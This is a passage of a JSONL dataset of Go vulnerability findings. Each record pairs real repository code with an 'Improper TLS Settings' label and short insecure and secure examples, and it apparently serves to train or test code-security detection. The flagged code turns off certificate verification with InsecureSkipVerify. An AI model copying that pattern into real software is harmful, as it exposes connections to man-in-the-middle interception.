conn.RemoteAddr())\n\t} else {\n\t\tl.Debugf(\"New connection %v -> %v\\n\", conn.RemoteAddr(), conn.LocalAddr())\n\t}\n\ti := int32(0)\n\treturn &wrappedConnection{Conn: conn, t: label, dirOut: dirOut, closed: &i}\n}", "dangerousExampleEn": "1. tlsConfig := &tls.Config{\n2. \tInsecureSkipVerify: true,\n3. }\nLine 2: This is insecure because InsecureSkipVerify is used to skip certificate verification.", "safeExampleEn": "1. tlsConfig := &tls.Config{\n2. \t//InsecureSkipVerify: true,\n3. }\nLine 2: This is secure because InsecureSkipVerify is not used and certificate verification is required.", "contexts": [{"lineNo": 45, "eventType": "sink", "messageKey": "gochk.IMPROPER_TLS_SETTING.GO.defect", "params": {}}]}} {"id": "75a55cbff064e6b72f8ca286a6de2fbc5ae9c08dccec09e15ded365b7b3c3300", "license": {"spdx": ["Apache-2.0"], "repo": "ZuoGuocai/WeUse", "path": "sendMail.go", "repo_head_hexsha": "2fbe56573cb19fca2517eb922053ffd74036f034", "stack_hexsha": "ce593f7f700990ad08bd4bf65679d4f4ebf02992", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper TLS Settings", "issueDescriptionEn": "`InsecureSkipVerify` option sets the client to not verify the SSL/TLS certificate of the server. Using this option can cause vulnerabilities such as a man-in-the-middle attack or certificate forgery because the certificate for the server is not verified.\nBecause `InsecureSkipVerify` is `false` by default, it is secure unless declared as true.", "issueLineNumber": 19, "entireCode": "package main\n\nimport (\n \"crypto/tls\"\n \"github.com/go-gomail/gomail\"\n\n)\n\nfunc main() {\n m := gomail.NewMessage()\n m.SetHeader(\"From\", \"\")\n m.SetHeader(\"To\", \"\",\"\")\n // m.SetAddressHeader(\"Cc\", \"\", \"Dan\") //抄送\n m.SetHeader(\"Subject\", \"测试\") // 邮件标题\n m.SetBody(\"text/html\", \"this is 测试\") // 邮件内容\n // m.Attach(\"/home/Alex/lolcat.jpg\") //附件\n\n d := gomail.NewDialer(\"relay.zuoguocai.com.cn\", 25, \"\", \"0HUxreG\")\n d.TLSConfig = &tls.Config{InsecureSkipVerify: true}\n if err := d.DialAndSend(m); err != nil {\n panic(err)\n }\n}", "dangerousExampleEn": "1. tlsConfig := &tls.Config{\n2. \tInsecureSkipVerify: true,\n3. }\nLine 2: This is insecure because InsecureSkipVerify is used to skip certificate verification.", "safeExampleEn": "1. tlsConfig := &tls.Config{\n2. \t//InsecureSkipVerify: true,\n3. }\nLine 2: This is secure because InsecureSkipVerify is not used and certificate verification is required.", "contexts": [{"lineNo": 19, "eventType": "sink", "messageKey": "gochk.IMPROPER_TLS_SETTING.GO.defect", "params": {}}]}} {"id": "3c67756756c8b21ea0032a4853be6d9b8517f1a142e4ad59cc6fd028bfb7358d", "license": {"spdx": ["MulanPSL-1.0"], "repo": "GalaIO/pipe", "path": "util/liandis.go", "repo_head_hexsha": "13fccf873058c1010a633fa359a34fdc19fec51c", "stack_hexsha": "8c4b1db84eb210cc2b30cc111c31182e4ddcb3ff", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper TLS Settings", "issueDescriptionEn": "`InsecureSkipVerify` option sets the client to not verify the SSL/TLS certificate of the server. Using this option can cause vulnerabilities such as a man-in-the-middle attack or certificate forgery because the certificate for the server is not verified.\nBecause `InsecureSkipVerify` is `false` by default, it is secure unless declared as true.", "issueLineNumber": 82, "entireCode": "// Pipe - A small and beautiful blogging platform written in golang.\n// Copyright (c) 2017-present, b3log.org\n//\n// Pipe is licensed under Mulan PSL v2.\n// You can use this software according to the terms and conditions of the Mulan PSL v2.\n// You may obtain a copy of Mulan PSL v2 at:\n// http://license.coscl.org.cn/MulanPSL2\n// THIS SOFTWARE IS PROVIDED ON AN \"AS IS\" BASIS, WITHOUT WARRANTIES OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO NON-INFRINGEMENT, MERCHANTABILITY OR FIT FOR A PARTICULAR PURPOSE.\n// See the Mulan PSL v2 for more details.\n\npackage util\n\nimport (\n\t\"crypto/tls\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/http/httputil\"\n\t\"net/url\"\n\t\"os\"\n\t\"time\"\n\n\t\"github.com/88250/gulu\"\n\t\"github.com/gin-gonic/gin\"\n\t\"github.com/parnurzeal/gorequest\"\n)\n\n// Logger\nvar logger = gulu.Log.NewLogger(os.Stdout)\n\n// CommunityURL is the URL of LianDi community.\nconst CommunityURL = \"https://ld246.com\"\n\n// CommunityAPI is a reverse proxy for https://ld246.com.\nfunc CommunityAPI() gin.HandlerFunc {\n\treturn func(c *gin.Context) {\n\t\tproxy := httputil.NewSingleHostReverseProxy(&url.URL{\n\t\t\tScheme: \"https\",\n\t\t\tHost: \"ld246.com\",\n\t\t})\n\n\t\tproxy.Transport = &http.Transport{DialTLS: dialTLS}\n\t\tdirector := proxy.Director\n\t\tproxy.Director = func(req *http.Request) {\n\t\t\tdirector(req)\n\t\t\treq.Host = req.URL.Host\n\t\t\treq.URL.Path = req.URL.Path[len(\"api/hp/\"):]\n\t\t}\n\n\t\tproxy.ServeHTTP(c.Writer, c.Request)\n\t}\n}\n\nfunc dialTLS(network, addr string) (net.Conn, error) {\n\tconn, err := net.Dial(network, addr)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\thost, _, err := net.SplitHostPort(addr)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tcfg := &tls.Config{ServerName: host}\n\n\ttlsConn := tls.Client(conn, cfg)\n\tif err := tlsConn.Handshake(); err != nil {\n\t\tconn.Close()\n\t\treturn nil, err\n\t}\n\n\tcs := tlsConn.ConnectionState()\n\tcert := cs.PeerCertificates[0]\n\n\tcert.VerifyHostname(host)\n\n\treturn tlsConn, nil\n}\n\n// HacPaiUserInfo returns HacPai community user info specified by the given access token.\nfunc HacPaiUserInfo(accessToken string) (ret map[string]interface{}) {\n\tresult := map[string]interface{}{}\n\tresponse, data, errors := gorequest.New().TLSClientConfig(&tls.Config{InsecureSkipVerify: true}).\n\t\tPost(CommunityURL+\"/user/ak\").SendString(\"access_token=\"+accessToken).Timeout(7*time.Second).\n\t\tSet(\"User-Agent\", UserAgent).EndStruct(&result)\n\tif nil != errors || http.StatusOK != response.StatusCode {\n\t\tlogger.Errorf(\"get community user info failed: %+v, %s\", errors, data)\n\t\treturn nil\n\t}\n\tif 0 != result[\"code\"].(float64) {\n\t\treturn nil\n\t}\n\treturn result[\"data\"].(map[string]interface{})\n}", "dangerousExampleEn": "1. tlsConfig := &tls.Config{\n2. \tInsecureSkipVerify: true,\n3. }\nLine 2: This is insecure because InsecureSkipVerify is used to skip certificate verification.", "safeExampleEn": "1. tlsConfig := &tls.Config{\n2. \t//InsecureSkipVerify: true,\n3. }\nLine 2: This is secure because InsecureSkipVerify is not used and certificate verification is required.", "contexts": [{"lineNo": 82, "eventType": "sink", "messageKey": "gochk.IMPROPER_TLS_SETTING.GO.defect", "params": {}}]}} {"id": "9cef6380d40f0bbc35bcb0c974f56404c2c349d18c91dfb64f233adf4a710ea3", "license": {"spdx": ["BSD-3-Clause"], "repo": "jeongmin/hls-reader", "path": "main.go", "repo_head_hexsha": "4971b151165fb56db89754942d45de26f5039311", "stack_hexsha": "6948ff4726328334a358514d707c280bece3f6eb", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper TLS Settings", "issueDescriptionEn": "`InsecureSkipVerify` option sets the client to not verify the SSL/TLS certificate of the server. Using this option can cause vulnerabilities such as a man-in-the-middle attack or certificate forgery because the certificate for the server is not verified.\nBecause `InsecureSkipVerify` is `false` by default, it is secure unless declared as true.", "issueLineNumber": 37, "entireCode": "package main\n\nimport (\n\t\"crypto/tls\"\n\t\"fmt\"\n\t\"github.com/gorilla/handlers\"\n\t\"github.com/gorilla/mux\"\n\t\"github.com/grafov/m3u8\"\n\t\"html/template\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"strings\"\n)\n\ntype MasterPlaylistWrapper struct {\n\t*m3u8.MasterPlaylist\n\tFullUrl string\n\tBaseUrl string\n}\n\ntype MediaPlaylistWrapper struct {\n\t*m3u8.MediaPlaylist\n\tBaseUrl string\n\tVariantInfo string\n}\n\n// FuncMap for template\nvar fmap = template.FuncMap{\n\t\"byteToMb\": byteToMb,\n}\n\n// Handler for getting m3u8\nfunc handlerRawData(w http.ResponseWriter, r *http.Request) {\n\tm3u8Url := r.FormValue(\"m3u8Url\")\n\t// ignore the certificate verification for https request\n\ttr := &http.Transport{\n\t\tTLSClientConfig: &tls.Config{InsecureSkipVerify: true},\n\t}\n\tclient := &http.Client{Transport: tr}\n\n\tresp, err := client.Get(m3u8Url)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer resp.Body.Close()\n\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tfmt.Fprintf(w, \"%s\", keepLines(string(body)))\n}\n\nfunc handler(w http.ResponseWriter, r *http.Request) {\n\tm3u8Url := r.FormValue(\"m3u8Url\")\n\tm3u8BaseUrl := m3u8Url[:strings.LastIndex(m3u8Url, \"/\")+1]\n\n\t// ignore the certificate verification for https request\n\ttr := &http.Transport{\n\t\tTLSClientConfig: &tls.Config{InsecureSkipVerify: true},\n\t}\n\tclient := &http.Client{Transport: tr}\n\n\tresp, err := client.Get(m3u8Url)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer resp.Body.Close()\n\n\tp, listType, err := m3u8.DecodeFrom(resp.Body, false)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tswitch listType {\n\tcase m3u8.MEDIA:\n\t\tvar mediaPlWrapper MediaPlaylistWrapper\n\t\tmediaPlWrapper.MediaPlaylist = p.(*m3u8.MediaPlaylist)\n\t\tmediaPlWrapper.BaseUrl = m3u8BaseUrl\n\t\tmediaPlWrapper.MediaPlaylist.Segments = mediaPlWrapper.MediaPlaylist.Segments[0 : mediaPlWrapper.MediaPlaylist.Count()-1]\n\t\tmediaPlWrapper.VariantInfo = r.FormValue(\"variantInfo\")\n\t\tresponseMediaPlaylist(w, &mediaPlWrapper)\n\tcase m3u8.MASTER:\n\t\tvar masterPlWrapper MasterPlaylistWrapper\n\t\tmasterPlWrapper.MasterPlaylist = p.(*m3u8.MasterPlaylist)\n\t\tmasterPlWrapper.FullUrl = m3u8Url\n\t\tmasterPlWrapper.BaseUrl = m3u8BaseUrl\n\t\tresponseMasterPlaylist(w, &masterPlWrapper)\n\t}\n}\n\nfunc responseMasterPlaylist(w http.ResponseWriter, masterPlaylistWrapper *MasterPlaylistWrapper) {\n\tfmap := template.FuncMap{\n\t\t\"byteToMb\": byteToMb,\n\t}\n\n\tt := template.Must(template.New(\"master-playlist.html\").Funcs(fmap).ParseFiles(\"static/template/master-playlist.html\"))\n\terr := t.Execute(w, masterPlaylistWrapper)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n}\n\nfunc responseMediaPlaylist(w http.ResponseWriter, mediaPlaylistWrapper *MediaPlaylistWrapper) {\n\tt := template.Must(template.New(\"media-playlist.html\").Funcs(fmap).ParseFiles(\"static/template/media-playlist.html\"))\n\terr := t.Execute(w, mediaPlaylistWrapper)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n}\n\nfunc byteToMb(bandwidth uint32) string {\n\t// bps단위는 1024가 아닌 1000 단위로 한다\n\tkbps := (bandwidth / 1000)\n\tif kbps <= 1000 {\n\t\treturn fmt.Sprintf(\"%d Kbps(%d bps)\", kbps, bandwidth)\n\t} else {\n\t\treturn fmt.Sprintf(\"%0.1f Mbps(%d bps)\", (float64(bandwidth) / (1000.0 * 1000.0)), bandwidth)\n\t}\n}\n\nfunc main() { //\"https://devimages.apple.com.edgekey.net/streaming/examples/bipbop_4x3/bipbop_4x3_variant.m3u8\"\n\t//\"https://devstreaming-cdn.apple.com/videos/streaming/examples/img_bipbop_adv_example_ts/master.m3u8\"\n\t//\"https://devstreaming-cdn.apple.com/videos/streaming/examples/bipbop_16x9/bipbop_16x9_variant.m3u8\"\n\tcorsObj := handlers.AllowedOrigins([]string{\"*\"})\n\tr := mux.NewRouter()\n\tr.HandleFunc(\"/\", handler).Methods(\"POST\")\n\tr.HandleFunc(\"/rawdata\", handlerRawData).Methods(\"POST\")\n\tr.Handle(\"/\", http.FileServer(http.Dir(\"./static/\")))\n\tr.PathPrefix(\"/\").Handler(http.FileServer(http.Dir(\"./static/\")))\n\tr.PathPrefix(\"/js\").Handler(http.FileServer(http.Dir(\"./static/js\")))\n\tr.PathPrefix(\"/css\").Handler(http.FileServer(http.Dir(\"./static/css\")))\n\thttp.ListenAndServe(\":8080\", handlers.CORS(corsObj)(r))\n\n}\n\nfunc keepLines(s string) string {\n\treturn strings.Replace(s, \"\\n\", \"
\", -1)\n}", "dangerousExampleEn": "1. tlsConfig := &tls.Config{\n2. \tInsecureSkipVerify: true,\n3. }\nLine 2: This is insecure because InsecureSkipVerify is used to skip certificate verification.", "safeExampleEn": "1. tlsConfig := &tls.Config{\n2. \t//InsecureSkipVerify: true,\n3. }\nLine 2: This is secure because InsecureSkipVerify is not used and certificate verification is required.", "contexts": [{"lineNo": 37, "eventType": "sink", "messageKey": "gochk.IMPROPER_TLS_SETTING.GO.defect", "params": {}}]}} {"id": "3e63f5b2a377493592c725ebe0a112895c349338ae5e9f80ebc921b34082a383", "license": {"spdx": ["Apache-2.0"], "repo": "ajanikow/kube-arangodb", "path": "pkg/util/arangod/client.go", "repo_head_hexsha": "efffa4f66af9e72fd553681069c46763983f164e", "stack_hexsha": "0bafef5fa6fe456eb7c58ac26f968c2515b6ee6a", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper TLS Settings", "issueDescriptionEn": "`InsecureSkipVerify` option sets the client to not verify the SSL/TLS certificate of the server. Using this option can cause vulnerabilities such as a man-in-the-middle attack or certificate forgery because the certificate for the server is not verified.\nBecause `InsecureSkipVerify` is `false` by default, it is secure unless declared as true.", "issueLineNumber": 118, "entireCode": "//\n// DISCLAIMER\n//\n// Copyright 2020-2021 ArangoDB GmbH, Cologne, Germany\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n//\n// Copyright holder is ArangoDB GmbH, Cologne, Germany\n//\n// Author \n// Author \n//\n\npackage arangod\n\nimport (\n\t\"context\"\n\t\"crypto/tls\"\n\t\"net\"\n\tnhttp \"net/http\"\n\t\"strconv\"\n\t\"time\"\n\n\t\"github.com/arangodb/kube-arangodb/pkg/util/errors\"\n\n\tdriver \"github.com/arangodb/go-driver\"\n\t\"github.com/arangodb/go-driver/http\"\n\t\"github.com/arangodb/go-driver/jwt\"\n\tcorev1 \"k8s.io/client-go/kubernetes/typed/core/v1\"\n\n\tapi \"github.com/arangodb/kube-arangodb/pkg/apis/deployment/v1\"\n\t\"github.com/arangodb/kube-arangodb/pkg/util/k8sutil\"\n)\n\ntype (\n\t// skipAuthenticationKey is the context key used to indicate NOT setting any authentication\n\tskipAuthenticationKey struct{}\n\t// requireAuthenticationKey is the context key used to indicate that authentication is required\n\trequireAuthenticationKey struct{}\n)\n\ntype TimeoutRunFunc k8sutil.TimeoutRunFunc\n\nconst (\n\tminArangoDDefaultTimeout = time.Second * 10\n)\n\nvar requestTimeout = minArangoDDefaultTimeout\n\n// GetRequestTimeout gets request timeout for one call to kubernetes.\nfunc GetRequestTimeout() time.Duration {\n\treturn requestTimeout\n}\n\n// RunWithTimeout runs the function with the provided timeout or with default timeout.\nfunc RunWithTimeout(ctx context.Context, run TimeoutRunFunc, timeout ...time.Duration) error {\n\tt := GetRequestTimeout()\n\tif len(timeout) > 0 {\n\t\tt = timeout[0]\n\t}\n\n\treturn k8sutil.RunWithTimeout(ctx, k8sutil.TimeoutRunFunc(run), t)\n}\n\n// SetRequestTimeout sets request timeout for one call to kubernetes.\nfunc SetRequestTimeout(timeout time.Duration) {\n\tif timeout > minArangoDDefaultTimeout {\n\t\trequestTimeout = timeout\n\t}\n}\n\n// WithSkipAuthentication prepares a context that when given to functions in\n// this file will avoid creating any authentication for arango clients.\nfunc WithSkipAuthentication(ctx context.Context) context.Context {\n\treturn context.WithValue(ctx, skipAuthenticationKey{}, true)\n}\n\n// WithRequireAuthentication prepares a context that when given to functions in\n// this file will fail when authentication is not available.\nfunc WithRequireAuthentication(ctx context.Context) context.Context {\n\treturn context.WithValue(ctx, requireAuthenticationKey{}, true)\n}\n\nvar (\n\tsharedHTTPTransport = &nhttp.Transport{\n\t\tProxy: nhttp.ProxyFromEnvironment,\n\t\tDialContext: (&net.Dialer{\n\t\t\tTimeout: 30 * time.Second,\n\t\t\tKeepAlive: 90 * time.Second,\n\t\t\tDualStack: true,\n\t\t}).DialContext,\n\t\tMaxIdleConns: 100,\n\t\tIdleConnTimeout: 90 * time.Second,\n\t\tTLSHandshakeTimeout: 10 * time.Second,\n\t\tExpectContinueTimeout: 1 * time.Second,\n\t}\n\tsharedHTTPSTransport = &nhttp.Transport{\n\t\tProxy: nhttp.ProxyFromEnvironment,\n\t\tDialContext: (&net.Dialer{\n\t\t\tTimeout: 30 * time.Second,\n\t\t\tKeepAlive: 90 * time.Second,\n\t\t\tDualStack: true,\n\t\t}).DialContext,\n\t\tMaxIdleConns: 100,\n\t\tIdleConnTimeout: 90 * time.Second,\n\t\tTLSHandshakeTimeout: 10 * time.Second,\n\t\tExpectContinueTimeout: 1 * time.Second,\n\t\tTLSClientConfig: &tls.Config{InsecureSkipVerify: true},\n\t}\n\tsharedHTTPTransportShortTimeout = &nhttp.Transport{\n\t\tProxy: nhttp.ProxyFromEnvironment,\n\t\tDialContext: (&net.Dialer{\n\t\t\tTimeout: 30 * time.Second,\n\t\t\tKeepAlive: 100 * time.Millisecond,\n\t\t\tDualStack: true,\n\t\t}).DialContext,\n\t\tMaxIdleConns: 100,\n\t\tIdleConnTimeout: 100 * time.Millisecond,\n\t\tTLSHandshakeTimeout: 10 * time.Second,\n\t\tExpectContinueTimeout: 1 * time.Second,\n\t}\n\tsharedHTTPSTransportShortTimeout = &nhttp.Transport{\n\t\tProxy: nhttp.ProxyFromEnvironment,\n\t\tDialContext: (&net.Dialer{\n\t\t\tTimeout: 30 * time.Second,\n\t\t\tKeepAlive: 100 * time.Millisecond,\n\t\t\tDualStack: true,\n\t\t}).DialContext,\n\t\tMaxIdleConns: 100,\n\t\tIdleConnTimeout: 100 * time.Millisecond,\n\t\tTLSHandshakeTimeout: 10 * time.Second,\n\t\tExpectContinueTimeout: 1 * time.Second,\n\t\tTLSClientConfig: &tls.Config{InsecureSkipVerify: true},\n\t}\n)\n\n// CreateArangodClient creates a go-driver client for a specific member in the given group.\nfunc CreateArangodClient(ctx context.Context, cli corev1.CoreV1Interface, apiObject *api.ArangoDeployment, group api.ServerGroup, id string) (driver.Client, error) {\n\t// Create connection\n\tdnsName := k8sutil.CreatePodDNSNameWithDomain(apiObject, apiObject.Spec.ClusterDomain, group.AsRole(), id)\n\tc, err := createArangodClientForDNSName(ctx, cli, apiObject, dnsName, false)\n\tif err != nil {\n\t\treturn nil, errors.WithStack(err)\n\t}\n\treturn c, nil\n}\n\n// CreateArangodDatabaseClient creates a go-driver client for accessing the entire cluster (or single server).\nfunc CreateArangodDatabaseClient(ctx context.Context, cli corev1.CoreV1Interface, apiObject *api.ArangoDeployment, shortTimeout bool) (driver.Client, error) {\n\t// Create connection\n\tdnsName := k8sutil.CreateDatabaseClientServiceDNSNameWithDomain(apiObject, apiObject.Spec.ClusterDomain)\n\tc, err := createArangodClientForDNSName(ctx, cli, apiObject, dnsName, shortTimeout)\n\tif err != nil {\n\t\treturn nil, errors.WithStack(err)\n\t}\n\treturn c, nil\n}\n\n// CreateArangodImageIDClient creates a go-driver client for an ArangoDB instance\n// running in an Image-ID pod.\nfunc CreateArangodImageIDClient(ctx context.Context, deployment k8sutil.APIObject, role, id string) (driver.Client, error) {\n\t// Create connection\n\tdnsName := k8sutil.CreatePodDNSNameWithDomain(deployment, nil, role, id)\n\tc, err := createArangodClientForDNSName(ctx, nil, nil, dnsName, false)\n\tif err != nil {\n\t\treturn nil, errors.WithStack(err)\n\t}\n\treturn c, nil\n}\n\n// CreateArangodClientForDNSName creates a go-driver client for a given DNS name.\nfunc createArangodClientForDNSName(ctx context.Context, cli corev1.CoreV1Interface, apiObject *api.ArangoDeployment, dnsName string, shortTimeout bool) (driver.Client, error) {\n\tconnConfig := createArangodHTTPConfigForDNSNames(apiObject, []string{dnsName}, shortTimeout)\n\t// TODO deal with TLS with proper CA checking\n\tconn, err := http.NewConnection(connConfig)\n\tif err != nil {\n\t\treturn nil, errors.WithStack(err)\n\t}\n\n\t// Create client\n\tconfig := driver.ClientConfig{\n\t\tConnection: conn,\n\t}\n\tauth, err := createArangodClientAuthentication(ctx, cli, apiObject)\n\tif err != nil {\n\t\treturn nil, errors.WithStack(err)\n\t}\n\tconfig.Authentication = auth\n\tc, err := driver.NewClient(config)\n\tif err != nil {\n\t\treturn nil, errors.WithStack(err)\n\t}\n\treturn c, nil\n}\n\n// createArangodHTTPConfigForDNSNames creates a go-driver HTTP connection config for a given DNS names.\nfunc createArangodHTTPConfigForDNSNames(apiObject *api.ArangoDeployment, dnsNames []string, shortTimeout bool) http.ConnectionConfig {\n\tscheme := \"http\"\n\ttransport := sharedHTTPTransport\n\tif shortTimeout {\n\t\ttransport = sharedHTTPTransportShortTimeout\n\t}\n\tif apiObject != nil && apiObject.Spec.IsSecure() {\n\t\tscheme = \"https\"\n\t\ttransport = sharedHTTPSTransport\n\t\tif shortTimeout {\n\t\t\ttransport = sharedHTTPSTransportShortTimeout\n\t\t}\n\t}\n\tconnConfig := http.ConnectionConfig{\n\t\tTransport: transport,\n\t\tDontFollowRedirect: true,\n\t}\n\tfor _, dnsName := range dnsNames {\n\t\tconnConfig.Endpoints = append(connConfig.Endpoints, scheme+\"://\"+net.JoinHostPort(dnsName, strconv.Itoa(k8sutil.ArangoPort)))\n\t}\n\treturn connConfig\n}\n\n// createArangodClientAuthentication creates a go-driver authentication for the servers in the given deployment.\nfunc createArangodClientAuthentication(ctx context.Context, cli corev1.CoreV1Interface, apiObject *api.ArangoDeployment) (driver.Authentication, error) {\n\tif apiObject != nil && apiObject.Spec.IsAuthenticated() {\n\t\t// Authentication is enabled.\n\t\t// Should we skip using it?\n\t\tif ctx.Value(skipAuthenticationKey{}) == nil {\n\t\t\tsecrets := cli.Secrets(apiObject.GetNamespace())\n\t\t\tctxChild, cancel := context.WithTimeout(ctx, k8sutil.GetRequestTimeout())\n\t\t\tdefer cancel()\n\t\t\ts, err := k8sutil.GetTokenSecret(ctxChild, secrets, apiObject.Spec.Authentication.GetJWTSecretName())\n\t\t\tif err != nil {\n\t\t\t\treturn nil, errors.WithStack(err)\n\t\t\t}\n\t\t\tjwt, err := jwt.CreateArangodJwtAuthorizationHeader(s, \"kube-arangodb\")\n\t\t\tif err != nil {\n\t\t\t\treturn nil, errors.WithStack(err)\n\t\t\t}\n\t\t\treturn driver.RawAuthentication(jwt), nil\n\t\t}\n\t} else {\n\t\t// Authentication is not enabled.\n\t\tif ctx.Value(requireAuthenticationKey{}) != nil {\n\t\t\t// Context requires authentication\n\t\t\treturn nil, errors.WithStack(errors.Newf(\"Authentication is required by context, but not provided in API object\"))\n\t\t}\n\t}\n\treturn nil, nil\n}", "dangerousExampleEn": "1. tlsConfig := &tls.Config{\n2. \tInsecureSkipVerify: true,\n3. }\nLine 2: This is insecure because InsecureSkipVerify is used to skip certificate verification.", "safeExampleEn": "1. tlsConfig := &tls.Config{\n2. \t//InsecureSkipVerify: true,\n3. }\nLine 2: This is secure because InsecureSkipVerify is not used and certificate verification is required.", "contexts": [{"lineNo": 118, "eventType": "sink", "messageKey": "gochk.IMPROPER_TLS_SETTING.GO.defect", "params": {}}]}} {"id": "65dd6d35e2ee7394756a2eff3afa13bb604c61ef885170f8eb792dc2f0931c76", "license": {"spdx": ["BSD-3-Clause"], "repo": "codysoyland/go-pilosa", "path": "client_it_test.go", "repo_head_hexsha": "399c95145a97fc54a2109470c8672fd98fc7cff5", "stack_hexsha": "cc4a77c6b6ac3e7eb1f0eacbb16814153970c9fd", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper TLS Settings", "issueDescriptionEn": "`InsecureSkipVerify` option sets the client to not verify the SSL/TLS certificate of the server. Using this option can cause vulnerabilities such as a man-in-the-middle attack or certificate forgery because the certificate for the server is not verified.\nBecause `InsecureSkipVerify` is `false` by default, it is secure unless declared as true.", "issueLineNumber": 1387, "entireCode": "// +build integration\n\n// Copyright 2017 Pilosa Corp.\n//\n// Redistribution and use in source and binary forms, with or without\n// modification, are permitted provided that the following conditions\n// are met:\n//\n// 1. Redistributions of source code must retain the above copyright\n// notice, this list of conditions and the following disclaimer.\n//\n// 2. Redistributions in binary form must reproduce the above copyright\n// notice, this list of conditions and the following disclaimer in the\n// documentation and/or other materials provided with the distribution.\n//\n// 3. Neither the name of the copyright holder nor the names of its\n// contributors may be used to endorse or promote products derived\n// from this software without specific prior written permission.\n//\n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND\n// CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES,\n// INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\n// MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR\n// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n// BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n// WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n// NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH\n// DAMAGE.\n\npackage pilosa\n\nimport (\n\t\"bytes\"\n\t\"crypto/tls\"\n\t\"errors\"\n\t\"io\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"os\"\n\t\"reflect\"\n\t\"strconv\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/golang/protobuf/proto\"\n\tpbuf \"github.com/pilosa/go-pilosa/gopilosa_pbuf\"\n)\n\nvar index *Index\nvar testFrame *Frame\n\nfunc TestMain(m *testing.M) {\n\tvar err error\n\tindex, err = NewIndex(\"go-testindex\", nil)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\ttestFrame, err = index.Frame(\"test-frame\", nil)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tSetup()\n\tr := m.Run()\n\tTearDown()\n\tos.Exit(r)\n}\n\nfunc Setup() {\n\tclient := getClient()\n\terr := client.EnsureIndex(index)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\terr = client.EnsureFrame(testFrame)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n}\n\nfunc TearDown() {\n\tclient := getClient()\n\terr := client.DeleteIndex(index)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n}\n\nfunc Reset() {\n\tclient := getClient()\n\tclient.DeleteIndex(index)\n\tclient.CreateIndex(index)\n\tclient.CreateFrame(testFrame)\n}\n\nfunc TestCreateDefaultClient(t *testing.T) {\n\tclient := DefaultClient()\n\tif client == nil {\n\t\tt.Fatal()\n\t}\n}\n\nfunc TestClientReturnsResponse(t *testing.T) {\n\tclient := getClient()\n\tresponse, err := client.Query(testFrame.Bitmap(1), nil)\n\tif err != nil {\n\t\tt.Fatalf(\"Error querying: %s\", err)\n\t}\n\tif response == nil {\n\t\tt.Fatalf(\"Response should not be nil\")\n\t}\n}\n\nfunc TestResponseDefaults(t *testing.T) {\n\tassertResult := func(r *QueryResult) {\n\t\tif r.Bitmap == nil {\n\t\t\tt.Fatalf(\"Default should be set for bitmap result\")\n\t\t}\n\t\tif r.CountItems == nil {\n\t\t\tt.Fatalf(\"CountItems should be set for bitmap result\")\n\t\t}\n\t}\n\n\tclient := getClient()\n\n\tframe, _ := index.Frame(\"defaults-frame\", nil)\n\terr := client.CreateFrame(frame)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tresponse, err := client.Query(frame.TopN(5), nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tresult := response.Result()\n\tassertResult(result)\n\n\tresponse, err = client.Query(frame.Bitmap(99999), nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tresult = response.Result()\n\tassertResult(result)\n\n}\n\nfunc TestQueryWithColumns(t *testing.T) {\n\tReset()\n\tclient := getClient()\n\ttargetAttrs := map[string]interface{}{\n\t\t\"name\": \"\",\n\t\t\"age\": int64(95),\n\t\t\"registered\": true,\n\t\t\"height\": 1.83,\n\t}\n\t_, err := client.Query(testFrame.SetBit(1, 100), nil)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tresponse, err := client.Query(index.SetColumnAttrs(100, targetAttrs), 